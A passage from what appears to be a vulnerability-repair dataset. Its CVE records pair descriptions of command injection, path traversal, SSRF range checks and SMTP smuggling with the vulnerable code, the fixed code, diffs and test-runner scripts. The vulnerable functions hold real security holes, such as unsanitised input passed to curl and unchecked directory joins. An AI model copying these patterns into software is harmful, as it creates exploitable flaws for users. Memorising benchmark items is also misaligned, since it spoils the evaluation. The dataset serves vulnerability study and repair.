/^(::f{4}:)?172\\.(1[6-9]|2\\d|30|31)\\.([0-9]{1,3})\\.([0-9]{1,3})$/i.test(ip) ||\n  /^(::f{4}:)?127\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/i.test(ip) ||\n  /^(::f{4}:)?169\\.254\\.([0-9]{1,3})\\.([0-9]{1,3})$/i.test(ip) ||\n  /^f[cd][0-9a-f]{2}:/i.test(ip) ||\n  /^fe80:/i.test(ip) ||\n  /^::1$/.test(ip) ||\n  /^::$/.test(ip)\n)"}], "fix_func": [{"id": "fix_js_1_1", "commit": "840664c", "file_path": "src/index.js", "start_line": 1, "end_line": 33, "snippet": "var Netmask = require('netmask').Netmask\nfunction netmaskCheck (params) {\n  let privateRanges = [\n    '0.0.0.0/8',\n    '10.0.0.0/8',\n    '100.64.0.0/10',\n    '127.0.0.0/8',\n    '169.254.0.0/16',\n    '172.16.0.0/12',\n    '192.0.0.0/24',\n    '192.0.0.0/29',\n    '192.0.0.8/32',\n    '192.0.0.9/32',\n    '192.0.0.10/32',\n    '192.0.0.170/32',\n    '192.0.0.171/32',\n    '192.0.2.0/24',\n    '192.31.196.0/24',\n    '192.52.193.0/24',\n    '192.88.99.0/24',\n    '192.168.0.0/16',\n    '192.175.48.0/24',\n    '198.18.0.0/15',\n    '198.51.100.0/24',\n    '203.0.113.0/24',\n    '240.0.0.0/4',\n    '255.255.255.255/32'\n  ].map(b => new Netmask(b))\n  for (let r of privateRanges) {\n    if (r.contains(params)) return true\n  }\n  return false\n}"}, {"id": "fix_js_1_2", "commit": "840664c", "file_path": "src/index.js", "start_line": 35, "end_line": 37, "snippet": "export default (ip) => (\n  netmaskCheck(ip)\n)"}], "vul_patch": "--- a/src/index.js\n+++ b/src/index.js\n@@ -1,11 +1,33 @@\n-export default (ip) => (\n-  /^(::f{4}:)?10\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/i.test(ip) ||\n-  /^(::f{4}:)?192\\.168\\.([0-9]{1,3})\\.([0-9]{1,3})$/i.test(ip) ||\n-  /^(::f{4}:)?172\\.(1[6-9]|2\\d|30|31)\\.([0-9]{1,3})\\.([0-9]{1,3})$/i.test(ip) ||\n-  /^(::f{4}:)?127\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})$/i.test(ip) ||\n-  /^(::f{4}:)?169\\.254\\.([0-9]{1,3})\\.([0-9]{1,3})$/i.test(ip) ||\n-  /^f[cd][0-9a-f]{2}:/i.test(ip) ||\n-  /^fe80:/i.test(ip) ||\n-  /^::1$/.test(ip) ||\n-  /^::$/.test(ip)\n-)\n+var Netmask = require('netmask').Netmask\n+function netmaskCheck (params) {\n+  let privateRanges = [\n+    '0.0.0.0/8',\n+    '10.0.0.0/8',\n+    '100.64.0.0/10',\n+    '127.0.0.0/8',\n+    '169.254.0.0/16',\n+    '172.16.0.0/12',\n+    '192.0.0.0/24',\n+    '192.0.0.0/29',\n+    '192.0.0.8/32',\n+    '192.0.0.9/32',\n+    '192.0.0.10/32',\n+    '192.0.0.170/32',\n+    '192.0.0.171/32',\n+    '192.0.2.0/24',\n+    '192.31.196.0/24',\n+    '192.52.193.0/24',\n+    '192.88.99.0/24',\n+    '192.168.0.0/16',\n+    '192.175.48.0/24',\n+    '198.18.0.0/15',\n+    '198.51.100.0/24',\n+    '203.0.113.0/24',\n+    '240.0.0.0/4',\n+    '255.255.255.255/32'\n+  ].map(b => new Netmask(b))\n+  for (let r of privateRanges) {\n+    if (r.contains(params)) return true\n+  }\n+  return false\n+}\n\n--- /dev/null\n+++ b/src/index.js\n@@ -0,0 +1,3 @@\n+export default (ip) => (\n+  netmaskCheck(ip)\n+)\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-28360:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/private-ip\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnpm test\n", "unit_test_cmd": null}
{"cve_id": "CVE-2020-7752", "cve_description": "This affects the package systeminformation before 4.27.11. This package is vulnerable to Command Injection. The attacker can concatenate curl's parameters to overwrite Javascript files and then execute any OS commands.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/sebhildebrandt/systeminformation", "patch_url": ["https://github.com/sebhildebrandt/systeminformation/commit/931fecaec2c1a7dcc10457bb8cd552d08089da61"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_217_1", "commit": "443d85e", "file_path": "lib/internet.js", "start_line": 32, "end_line": 95, "snippet": "function inetChecksite(url, callback) {\n\n  return new Promise((resolve) => {\n    process.nextTick(() => {\n\n      const urlSanitized = util.sanitizeShellString(url).toLowerCase();\n      let result = {\n        url: urlSanitized,\n        ok: false,\n        status: 404,\n        ms: -1\n      };\n      if (urlSanitized) {\n        let t = Date.now();\n        if (_linux || _freebsd || _openbsd || _netbsd || _darwin || _sunos) {\n          let args = ' -I --connect-timeout 5 -m 5 ' + urlSanitized + ' 2>/dev/null | head -n 1 | cut -d \" \" -f2';\n          let cmd = 'curl';\n          exec(cmd + args, function (error, stdout) {\n            let statusCode = parseInt(stdout.toString());\n            result.status = statusCode || 404;\n            result.ok = !error && (statusCode === 200 || statusCode === 301 || statusCode === 302 || statusCode === 304);\n            result.ms = (result.ok ? Date.now() - t : -1);\n            if (callback) { callback(result); }\n            resolve(result);\n          });\n        }\n        if (_windows) {   // if this is stable, this can be used for all OS types\n          const http = (urlSanitized.startsWith('https:') ? require('https') : require('http'));\n          try {\n            http.get(urlSanitized, (res) => {\n              const statusCode = res.statusCode;\n\n              result.status = statusCode || 404;\n              result.ok = (statusCode === 200 || statusCode === 301 || statusCode === 302 || statusCode === 304);\n\n              if (statusCode !== 200) {\n                res.resume();\n                result.ms = (result.ok ? Date.now() - t : -1);\n                if (callback) { callback(result); }\n                resolve(result);\n              } else {\n                res.on('data', () => { });\n                res.on('end', () => {\n                  result.ms = (result.ok ? Date.now() - t : -1);\n                  if (callback) { callback(result); }\n                  resolve(result);\n                });\n              }\n            }).on('error', () => {\n              if (callback) { callback(result); }\n              resolve(result);\n            });\n          } catch (err) {\n            if (callback) { callback(result); }\n            resolve(result);\n          }\n        }\n      } else {\n        if (callback) { callback(result); }\n        resolve(result);\n      }\n    });\n  });\n}"}], "fix_func": [{"id": "fix_js_217_1", "commit": "931fecaec2c1a7dcc10457bb8cd552d08089da61", "file_path": "lib/internet.js", "start_line": 32, "end_line": 101, "snippet": "function inetChecksite(url, callback) {\n\n  return new Promise((resolve) => {\n    process.nextTick(() => {\n\n      let urlSanitized = util.sanitizeShellString(url).toLowerCase();\n      urlSanitized = urlSanitized.replace(/ /g, '');\n      urlSanitized = urlSanitized.replace(/\\$/g, '');\n      urlSanitized = urlSanitized.replace(/\\(/g, '');\n      urlSanitized = urlSanitized.replace(/\\)/g, '');\n      urlSanitized = urlSanitized.replace(/{/g, '');\n      urlSanitized = urlSanitized.replace(/}/g, '');\n      let result = {\n        url: urlSanitized,\n        ok: false,\n        status: 404,\n        ms: -1\n      };\n      if (urlSanitized) {\n        let t = Date.now();\n        if (_linux || _freebsd || _openbsd || _netbsd || _darwin || _sunos) {\n          let args = ' -I --connect-timeout 5 -m 5 ' + urlSanitized + ' 2>/dev/null | head -n 1 | cut -d \" \" -f2';\n          let cmd = 'curl';\n          exec(cmd + args, function (error, stdout) {\n            let statusCode = parseInt(stdout.toString());\n            result.status = statusCode || 404;\n            result.ok = !error && (statusCode === 200 || statusCode === 301 || statusCode === 302 || statusCode === 304);\n            result.ms = (result.ok ? Date.now() - t : -1);\n            if (callback) { callback(result); }\n            resolve(result);\n          });\n        }\n        if (_windows) {   // if this is stable, this can be used for all OS types\n          const http = (urlSanitized.startsWith('https:') ? require('https') : require('http'));\n          try {\n            http.get(urlSanitized, (res) => {\n              const statusCode = res.statusCode;\n\n              result.status = statusCode || 404;\n              result.ok = (statusCode === 200 || statusCode === 301 || statusCode === 302 || statusCode === 304);\n\n              if (statusCode !== 200) {\n                res.resume();\n                result.ms = (result.ok ? Date.now() - t : -1);\n                if (callback) { callback(result); }\n                resolve(result);\n              } else {\n                res.on('data', () => { });\n                res.on('end', () => {\n                  result.ms = (result.ok ? Date.now() - t : -1);\n                  if (callback) { callback(result); }\n                  resolve(result);\n                });\n              }\n            }).on('error', () => {\n              if (callback) { callback(result); }\n              resolve(result);\n            });\n          } catch (err) {\n            if (callback) { callback(result); }\n            resolve(result);\n          }\n        }\n      } else {\n        if (callback) { callback(result); }\n        resolve(result);\n      }\n    });\n  });\n}"}], "vul_patch": "--- a/lib/internet.js\n+++ b/lib/internet.js\n@@ -3,7 +3,13 @@\n   return new Promise((resolve) => {\n     process.nextTick(() => {\n \n-      const urlSanitized = util.sanitizeShellString(url).toLowerCase();\n+      let urlSanitized = util.sanitizeShellString(url).toLowerCase();\n+      urlSanitized = urlSanitized.replace(/ /g, '');\n+      urlSanitized = urlSanitized.replace(/\\$/g, '');\n+      urlSanitized = urlSanitized.replace(/\\(/g, '');\n+      urlSanitized = urlSanitized.replace(/\\)/g, '');\n+      urlSanitized = urlSanitized.replace(/{/g, '');\n+      urlSanitized = urlSanitized.replace(/}/g, '');\n       let result = {\n         url: urlSanitized,\n         ok: false,\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-36081", "cve_description": "Wikmd is a file based wiki that uses markdown. Prior to version 1.7.1, Wikmd is vulnerable to path traversal when accessing `/list/<path:folderpath>` and discloses lists of files located on the server including sensitive data. Version 1.7.1 fixes this issue.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/Linbreux/wikmd", "patch_url": ["https://github.com/Linbreux/wikmd/commit/8d1f94ec86b5b6c3df8ef10051facfb511a78450"], "programing_language": "Python", "vul_func": [{"id": "vul_py_353_1", "commit": "259412c47d64d5b85980f95345179fbf05927798", "file_path": "wiki.py", "start_line": 128, "end_line": 169, "snippet": "def list_wiki(folderpath):\n    folder_list = []\n    app.logger.info(\"Showing >>> 'all files'\")\n    for root, subfolder, files in os.walk(os.path.join(cfg.wiki_directory, folderpath)):\n        if root[-1] == '/':\n            root = root[:-1]\n        for item in files:\n            path = os.path.join(root, item)\n            mtime = os.path.getmtime(os.path.join(root, item))\n            if os.path.join(cfg.wiki_directory, '.git') in str(path):\n                # We don't want to search there\n                app.logger.debug(f\"skipping {path}: is git file\")\n                continue\n            if os.path.join(cfg.wiki_directory, cfg.images_route) in str(path):\n                # Nothing interesting there too\n                continue\n\n            folder = root[len(cfg.wiki_directory + \"/\"):]\n            if folder == \"\":\n                if item == cfg.homepage:\n                    continue\n                url = os.path.splitext(\n                    root[len(cfg.wiki_directory + \"/\"):] + \"/\" + item)[0]\n            else:\n                url = \"/\" + \\\n                    os.path.splitext(\n                        root[len(cfg.wiki_directory + \"/\"):] + \"/\" + item)[0]\n\n            info = {'doc': item,\n                    'url': url,\n                    'folder': folder,\n                    'folder_url': folder,\n                    'mtime': mtime,\n                    }\n            folder_list.append(info)\n\n    if SYSTEM_SETTINGS['listsortMTime']:\n        folder_list.sort(key=lambda x: x[\"mtime\"], reverse=True)\n    else:\n        folder_list.sort(key=lambda x: (str(x[\"url\"]).casefold()))\n\n    return render_template('list_files.html', list=folder_list, folder=folderpath, system=SYSTEM_SETTINGS)"}], "fix_func": [{"id": "fix_py_353_1", "commit": "8d1f94ec86b5b6c3df8ef10051facfb511a78450", "file_path": "wiki.py", "start_line": 128, "end_line": 174, "snippet": "def list_wiki(folderpath):\n    folder_list = []\n    app.logger.info(\"Showing >>> 'all files'\")\n    safe_folder = cfg.wiki_directory\n    requested_path = os.path.join(cfg.wiki_directory,folderpath) \n    print(requested_path)\n    if os.path.commonprefix((os.path.realpath(requested_path),os.path.realpath(safe_folder))) != os.path.realpath(safe_folder): \n        return index()\n    for root, subfolder, files in os.walk(requested_path):\n        if root[-1] == '/':\n            root = root[:-1]\n        for item in files:\n            path = os.path.join(root, item)\n            mtime = os.path.getmtime(os.path.join(root, item))\n            if os.path.join(cfg.wiki_directory, '.git') in str(path):\n                # We don't want to search there\n                app.logger.debug(f\"skipping {path}: is git file\")\n                continue\n            if os.path.join(cfg.wiki_directory, cfg.images_route) in str(path):\n                # Nothing interesting there too\n                continue\n\n            folder = root[len(cfg.wiki_directory + \"/\"):]\n            if folder == \"\":\n                if item == cfg.homepage:\n                    continue\n                url = os.path.splitext(\n                    root[len(cfg.wiki_directory + \"/\"):] + \"/\" + item)[0]\n            else:\n                url = \"/\" + \\\n                    os.path.splitext(\n                        root[len(cfg.wiki_directory + \"/\"):] + \"/\" + item)[0]\n\n            info = {'doc': item,\n                    'url': url,\n                    'folder': folder,\n                    'folder_url': folder,\n                    'mtime': mtime,\n                    }\n            folder_list.append(info)\n\n    if SYSTEM_SETTINGS['listsortMTime']:\n        folder_list.sort(key=lambda x: x[\"mtime\"], reverse=True)\n    else:\n        folder_list.sort(key=lambda x: (str(x[\"url\"]).casefold()))\n\n    return render_template('list_files.html', list=folder_list, folder=folderpath, system=SYSTEM_SETTINGS)"}], "vul_patch": "--- a/wiki.py\n+++ b/wiki.py\n@@ -1,7 +1,12 @@\n def list_wiki(folderpath):\n     folder_list = []\n     app.logger.info(\"Showing >>> 'all files'\")\n-    for root, subfolder, files in os.walk(os.path.join(cfg.wiki_directory, folderpath)):\n+    safe_folder = cfg.wiki_directory\n+    requested_path = os.path.join(cfg.wiki_directory,folderpath) \n+    print(requested_path)\n+    if os.path.commonprefix((os.path.realpath(requested_path),os.path.realpath(safe_folder))) != os.path.realpath(safe_folder): \n+        return index()\n+    for root, subfolder, files in os.walk(requested_path):\n         if root[-1] == '/':\n             root = root[:-1]\n         for item in files:\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-31542", "cve_description": "In Django 2.2 before 2.2.21, 3.1 before 3.1.9, and 3.2 before 3.2.1, MultiPartParser, UploadedFile, and FieldFile allowed directory traversal via uploaded files with suitably crafted file names.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/django/django", "patch_url": ["https://github.com/django/django/commit/04ac1624bdc2fa737188401757cf95ced122d26d", "https://github.com/django/django/commit/25d84d64122c15050a0ee739e859f22ddab5ac48", "https://github.com/django/django/commit/c98f446c188596d4ba6de71d1b77b4a6c5c2a007"], "programing_language": "Python", "vul_func": [{"id": "vul_py_3_1", "commit": "7f1b088", "file_path": "django/core/files/storage.py", "start_line": 63, "end_line": 92, "snippet": "    def get_available_name(self, name, max_length=None):\n        \"\"\"\n        Return a filename that's free on the target storage system and\n        available for new content to be written to.\n        \"\"\"\n        dir_name, file_name = os.path.split(name)\n        file_root, file_ext = os.path.splitext(file_name)\n        # If the filename already exists, add an underscore and a random 7\n        # character alphanumeric string (before the file extension, if one\n        # exists) to the filename until the generated filename doesn't exist.\n        # Truncate original name if required, so the new filename does not\n        # exceed the max_length.\n        while self.exists(name) or (max_length and len(name) > max_length):\n            # file_ext includes the dot.\n            name = os.path.join(dir_name, \"%s_%s%s\" % (file_root, get_random_string(7), file_ext))\n            if max_length is None:\n                continue\n            # Truncate file_root if max_length exceeded.\n            truncation = len(name) - max_length\n            if truncation > 0:\n                file_root = file_root[:-truncation]\n                # Entire file_root was truncated in attempt to find an available filename.\n                if not file_root:\n                    raise SuspiciousFileOperation(\n                        'Storage can not find an available filename for \"%s\". '\n                        'Please make sure that the corresponding file field '\n                        'allows sufficient \"max_length\".' % name\n                    )\n                name = os.path.join(dir_name, \"%s_%s%s\" % (file_root, get_random_string(7), file_ext))\n        return name"}], "fix_func": [{"id": "fix_py_3_1", "commit": "04ac162", "file_path": "django/core/files/storage.py", "start_line": 65, "end_line": 97, "snippet": "    def get_available_name(self, name, max_length=None):\n        \"\"\"\n        Return a filename that's free on the target storage system and\n        available for new content to be written to.\n        \"\"\"\n        dir_name, file_name = os.path.split(name)\n        if '..' in pathlib.PurePath(dir_name).parts:\n            raise SuspiciousFileOperation(\"Detected path traversal attempt in '%s'\" % dir_name)\n        validate_file_name(file_name)\n        file_root, file_ext = os.path.splitext(file_name)\n        # If the filename already exists, add an underscore and a random 7\n        # character alphanumeric string (before the file extension, if one\n        # exists) to the filename until the generated filename doesn't exist.\n        # Truncate original name if required, so the new filename does not\n        # exceed the max_length.\n        while self.exists(name) or (max_length and len(name) > max_length):\n            # file_ext includes the dot.\n            name = os.path.join(dir_name, \"%s_%s%s\" % (file_root, get_random_string(7), file_ext))\n            if max_length is None:\n                continue\n            # Truncate file_root if max_length exceeded.\n            truncation = len(name) - max_length\n            if truncation > 0:\n                file_root = file_root[:-truncation]\n                # Entire file_root was truncated in attempt to find an available filename.\n                if not file_root:\n                    raise SuspiciousFileOperation(\n                        'Storage can not find an available filename for \"%s\". '\n                        'Please make sure that the corresponding file field '\n                        'allows sufficient \"max_length\".' % name\n                    )\n                name = os.path.join(dir_name, \"%s_%s%s\" % (file_root, get_random_string(7), file_ext))\n        return name"}, {"id": "fix_py_3_2", "commit": "04ac162", "file_path": "django/core/files/utils.py", "start_line": 6, "end_line": 14, "snippet": "def validate_file_name(name):\n    if name != os.path.basename(name):\n        raise SuspiciousFileOperation(\"File name '%s' includes path elements\" % name)\n\n    # Remove potentially dangerous names\n    if name in {'', '.', '..'}:\n        raise SuspiciousFileOperation(\"Could not derive file name from '%s'\" % name)\n\n    return name"}], "vul_patch": "--- a/django/core/files/storage.py\n+++ b/django/core/files/storage.py\n@@ -4,6 +4,9 @@\n         available for new content to be written to.\n         \"\"\"\n         dir_name, file_name = os.path.split(name)\n+        if '..' in pathlib.PurePath(dir_name).parts:\n+            raise SuspiciousFileOperation(\"Detected path traversal attempt in '%s'\" % dir_name)\n+        validate_file_name(file_name)\n         file_root, file_ext = os.path.splitext(file_name)\n         # If the filename already exists, add an underscore and a random 7\n         # character alphanumeric string (before the file extension, if one\n\n--- /dev/null\n+++ b/django/core/files/storage.py\n@@ -0,0 +1,9 @@\n+def validate_file_name(name):\n+    if name != os.path.basename(name):\n+        raise SuspiciousFileOperation(\"File name '%s' includes path elements\" % name)\n+\n+    # Remove potentially dangerous names\n+    if name in {'', '.', '..'}:\n+        raise SuspiciousFileOperation(\"Could not derive file name from '%s'\" % name)\n+\n+    return name\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-31542:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/django\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ncd tests && /workspace/PoC_env/CVE-2021-31542/bin/python ./runtests.py file_storage.test_generate_filename.GenerateFilenameStorageTests.test_storage_dangerous_paths file_storage.test_generate_filename.GenerateFilenameStorageTests.test_storage_dangerous_paths_dir_name\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-31542:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/django\ngit apply --whitespace=nowarn /workspace/fix.patch\ncd tests && /workspace/PoC_env/CVE-2021-31542/bin/python ./runtests.py file_storage.test_generate_filename file_uploads.tests  forms_tests.field_tests.test_filefield utils_tests.test_text\n"}
{"cve_id": "CVE-2024-27305", "cve_description": "aiosmtpd is a reimplementation of the Python stdlib smtpd.py based on asyncio. aiosmtpd is vulnerable to inbound SMTP smuggling. SMTP smuggling is a novel vulnerability based on not so novel interpretation differences of the SMTP protocol. By exploiting SMTP smuggling, an attacker may send smuggle/spoof e-mails with fake sender addresses, allowing advanced phishing attacks. This issue is also existed in other SMTP software like Postfix. With the right SMTP server constellation, an attacker can send spoofed e-mails to inbound/receiving aiosmtpd instances. This issue has been addressed in version 1.4.5. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "cwe_info": {"CWE-345": {"name": "Insufficient Verification of Data Authenticity", "description": "The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data."}}, "repo": "https://github.com/aio-libs/aiosmtpd", "patch_url": ["https://github.com/aio-libs/aiosmtpd/commit/24b6c79c8921cf1800e27ca144f4f37023982bbb"], "programing_language": "Python", "vul_func": [{"id": "vul_py_419_1", "commit": "b0267e8", "file_path": "aiosmtpd/smtp.py", "start_line": 1406, "end_line": 1541, "snippet": "    async def smtp_DATA(self, arg: str) -> None:\n        if await self.check_helo_needed():\n            return\n        if await self.check_auth_needed(\"DATA\"):\n            return\n        assert self.envelope is not None\n        if not self.envelope.rcpt_tos:\n            await self.push('503 Error: need RCPT command')\n            return\n        if arg:\n            await self.push('501 Syntax: DATA')\n            return\n\n        await self.push('354 End data with <CR><LF>.<CR><LF>')\n        data: List[bytearray] = []\n\n        num_bytes: int = 0\n        limit: Optional[int] = self.data_size_limit\n        line_fragments: List[bytes] = []\n        state: _DataState = _DataState.NOMINAL\n        while self.transport is not None:           # pragma: nobranch\n            # Since eof_received cancels this coroutine,\n            # readuntil() can never raise asyncio.IncompleteReadError.\n            try:\n                line: bytes = await self._reader.readuntil()\n                log.debug('DATA readline: %s', line)\n                assert line.endswith(b'\\n')\n            except asyncio.CancelledError:\n                # The connection got reset during the DATA command.\n                log.info('Connection lost during DATA')\n                self._writer.close()\n                raise\n            except asyncio.LimitOverrunError as e:\n                # The line exceeds StreamReader's \"stream limit\".\n                # Delay SMTP Status Code sending until data receive is complete\n                # This seems to be implied in RFC 5321 \\u00a7 4.2.5\n                if state == _DataState.NOMINAL:\n                    # Transition to TOO_LONG only if we haven't gone TOO_MUCH yet\n                    state = _DataState.TOO_LONG\n                # Discard data immediately to prevent memory pressure\n                data *= 0\n                # Drain the stream anyways\n                line = await self._reader.read(e.consumed)\n                assert not line.endswith(b'\\n')\n            # A lone dot in a line signals the end of DATA.\n            if not line_fragments and line == b'.\\r\\n':\n                break\n            num_bytes += len(line)\n            if state == _DataState.NOMINAL and limit and num_bytes > limit:\n                # Delay SMTP Status Code sending until data receive is complete\n                # This seems to be implied in RFC 5321 \\u00a7 4.2.5\n                state = _DataState.TOO_MUCH\n                # Discard data immediately to prevent memory pressure\n                data *= 0\n            line_fragments.append(line)\n            if line.endswith(b'\\n'):\n                # Record data only if state is \"NOMINAL\"\n                if state == _DataState.NOMINAL:\n                    line = EMPTY_BARR.join(line_fragments)\n                    if len(line) > self.line_length_limit:\n                        # Theoretically we shouldn't reach this place. But it's always\n                        # good to practice DEFENSIVE coding.\n                        state = _DataState.TOO_LONG\n                        # Discard data immediately to prevent memory pressure\n                        data *= 0\n                    else:\n                        data.append(EMPTY_BARR.join(line_fragments))\n                line_fragments *= 0\n\n        # Day of reckoning! Let's take care of those out-of-nominal situations\n        if state != _DataState.NOMINAL:\n            if state == _DataState.TOO_LONG:\n                await self.push(\"500 Line too long (see RFC5321 4.5.3.1.6)\")\n            elif state == _DataState.TOO_MUCH:  # pragma: nobranch\n                await self.push('552 Error: Too much mail data')\n            self._set_post_data_state()\n            return\n\n        # If unfinished_line is non-empty, then the connection was closed.\n        assert not line_fragments\n\n        # Remove extraneous carriage returns and de-transparency\n        # according to RFC 5321, Section 4.5.2.\n        for text in data:\n            if text.startswith(b'.'):\n                del text[0]\n        original_content: bytes = EMPTYBYTES.join(data)\n        # Discard data immediately to prevent memory pressure\n        data *= 0\n\n        content: Union[str, bytes]\n        if self._decode_data:\n            if self.enable_SMTPUTF8:\n                content = original_content.decode('utf-8', errors='surrogateescape')\n            else:\n                try:\n                    content = original_content.decode('ascii', errors='strict')\n                except UnicodeDecodeError:\n                    # This happens if enable_smtputf8 is false, meaning that\n                    # the server explicitly does not want to accept non-ascii,\n                    # but the client ignores that and sends non-ascii anyway.\n                    await self.push('500 Error: strict ASCII mode')\n                    return\n        else:\n            content = original_content\n        self.envelope.content = content\n        self.envelope.original_content = original_content\n\n        # Call the new API first if it's implemented.\n        if \"DATA\" in self._handle_hooks:\n            status = await self._call_handler_hook('DATA')\n        else:\n            # Backward compatibility.\n            status = MISSING\n            if hasattr(self.event_handler, 'process_message'):\n                warn('Use handler.handle_DATA() instead of .process_message()',\n                     DeprecationWarning)\n                assert self.session is not None\n                args = (self.session.peer, self.envelope.mail_from,\n                        self.envelope.rcpt_tos, self.envelope.content)\n                if asyncio.iscoroutinefunction(\n                        self.event_handler.process_message):\n                    status = await self.event_handler.process_message(*args)\n                else:\n                    status = self.event_handler.process_message(*args)\n                # The deprecated API can return None which means, return the\n                # default status.  Don't worry about coverage for this case as\n                # it's a deprecated API that will go away after 1.0.\n                if status is None:                  # pragma: nocover\n                    status = MISSING\n        self._set_post_data_state()\n        await self.push('250 OK' if status is MISSING else status)\n\n    # Commands that have not been implemented.\n    async def smtp_EXPN(self, arg: str):\n        await self.push('502 EXPN not implemented')"}, {"id": "vul_py_419_2", "commit": "b0267e8", "file_path": "aiosmtpd/smtp.py", "start_line": 90, "end_line": 90, "snippet": "NEWLINE = '\\n'"}], "fix_func": [{"id": "fix_py_419_1", "commit": "24b6c79c8921cf1800e27ca144f4f37023982bbb", "file_path": "aiosmtpd/smtp.py", "start_line": 1406, "end_line": 1542, "snippet": "    async def smtp_DATA(self, arg: str) -> None:\n        if await self.check_helo_needed():\n            return\n        if await self.check_auth_needed(\"DATA\"):\n            return\n        assert self.envelope is not None\n        if not self.envelope.rcpt_tos:\n            await self.push('503 Error: need RCPT command')\n            return\n        if arg:\n            await self.push('501 Syntax: DATA')\n            return\n\n        await self.push('354 End data with <CR><LF>.<CR><LF>')\n        data: List[bytearray] = []\n\n        num_bytes: int = 0\n        limit: Optional[int] = self.data_size_limit\n        line_fragments: List[bytes] = []\n        state: _DataState = _DataState.NOMINAL\n        while self.transport is not None:           # pragma: nobranch\n            # Since eof_received cancels this coroutine,\n            # readuntil() can never raise asyncio.IncompleteReadError.\n            try:\n                # https://datatracker.ietf.org/doc/html/rfc5321#section-2.3.8\n                line: bytes = await self._reader.readuntil(b'\\r\\n')\n                log.debug('DATA readline: %s', line)\n                assert line.endswith(b'\\r\\n')\n            except asyncio.CancelledError:\n                # The connection got reset during the DATA command.\n                log.info('Connection lost during DATA')\n                self._writer.close()\n                raise\n            except asyncio.LimitOverrunError as e:\n                # The line exceeds StreamReader's \"stream limit\".\n                # Delay SMTP Status Code sending until data receive is complete\n                # This seems to be implied in RFC 5321 \\u00a7 4.2.5\n                if state == _DataState.NOMINAL:\n                    # Transition to TOO_LONG only if we haven't gone TOO_MUCH yet\n                    state = _DataState.TOO_LONG\n                # Discard data immediately to prevent memory pressure\n                data *= 0\n                # Drain the stream anyways\n                line = await self._reader.read(e.consumed)\n                assert not line.endswith(b'\\r\\n')\n            # A lone dot in a line signals the end of DATA.\n            if not line_fragments and line == b'.\\r\\n':\n                break\n            num_bytes += len(line)\n            if state == _DataState.NOMINAL and limit and num_bytes > limit:\n                # Delay SMTP Status Code sending until data receive is complete\n                # This seems to be implied in RFC 5321 \\u00a7 4.2.5\n                state = _DataState.TOO_MUCH\n                # Discard data immediately to prevent memory pressure\n                data *= 0\n            line_fragments.append(line)\n            if line.endswith(b'\\r\\n'):\n                # Record data only if state is \"NOMINAL\"\n                if state == _DataState.NOMINAL:\n                    line = EMPTY_BARR.join(line_fragments)\n                    if len(line) > self.line_length_limit:\n                        # Theoretically we shouldn't reach this place. But it's always\n                        # good to practice DEFENSIVE coding.\n                        state = _DataState.TOO_LONG\n                        # Discard data immediately to prevent memory pressure\n                        data *= 0\n                    else:\n                        data.append(EMPTY_BARR.join(line_fragments))\n                line_fragments *= 0\n\n        # Day of reckoning! Let's take care of those out-of-nominal situations\n        if state != _DataState.NOMINAL:\n            if state == _DataState.TOO_LONG:\n                await self.push(\"500 Line too long (see RFC5321 4.5.3.1.6)\")\n            elif state == _DataState.TOO_MUCH:  # pragma: nobranch\n                await self.push('552 Error: Too much mail data')\n            self._set_post_data_state()\n            return\n\n        # If unfinished_line is non-empty, then the connection was closed.\n        assert not line_fragments\n\n        # Remove extraneous carriage returns and de-transparency\n        # according to RFC 5321, Section 4.5.2.\n        for text in data:\n            if text.startswith(b'.'):\n                del text[0]\n        original_content: bytes = EMPTYBYTES.join(data)\n        # Discard data immediately to prevent memory pressure\n        data *= 0\n\n        content: Union[str, bytes]\n        if self._decode_data:\n            if self.enable_SMTPUTF8:\n                content = original_content.decode('utf-8', errors='surrogateescape')\n            else:\n                try:\n                    content = original_content.decode('ascii', errors='strict')\n                except UnicodeDecodeError:\n                    # This happens if enable_smtputf8 is false, meaning that\n                    # the server explicitly does not want to accept non-ascii,\n                    # but the client ignores that and sends non-ascii anyway.\n                    await self.push('500 Error: strict ASCII mode')\n                    return\n        